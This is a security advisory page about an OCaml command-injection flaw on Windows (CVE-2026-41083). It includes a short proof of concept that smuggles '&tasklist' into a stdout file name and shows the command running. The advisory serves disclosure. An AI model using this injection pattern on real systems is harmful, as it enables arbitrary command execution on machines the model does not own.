🛡️ CVE-2026-41083 — ocaml

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Windows command execution via filename quotes.

The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

Exploit

```bash

$ opam exec -- ocaml

OCaml version 4.14.2

Enter #help;; for help.

# let outfile = "x&tasklist" in

let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in

ignore (Sys.command cmd)

;;

Image Name PID Session Name Session# Mem Usage

========================= ======== ================ =========== ============

System Idle Process 0 Services 0 8 K

System 4 Services 0 168 K

Secure System 236 Services 0 191,468 K

Registry 276 Services 0 3,428 K

smss.exe 608 Services 0 1,676 K

csrss.exe 984 Services 0 5,928 K

```

Timeline

  • 2026-06-18 release of this security advisory
  • 2026-06-15 release of OCaml 4.14.4
  • 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
  • 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to [email protected]

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

Affected software

CVE-2026-41083 is recorded against 1 package.

  • ocaml (from 5 up to 5.5.0)

Timeline and source

Published on 18 June 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-06-18
Updated 2026-08-12
Modified 2026-06-18
Fix URL N/A

Affected Packages

Software From version Fixed in
ocaml 5 5.5.0

References

N/A

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-41083?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-41083 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.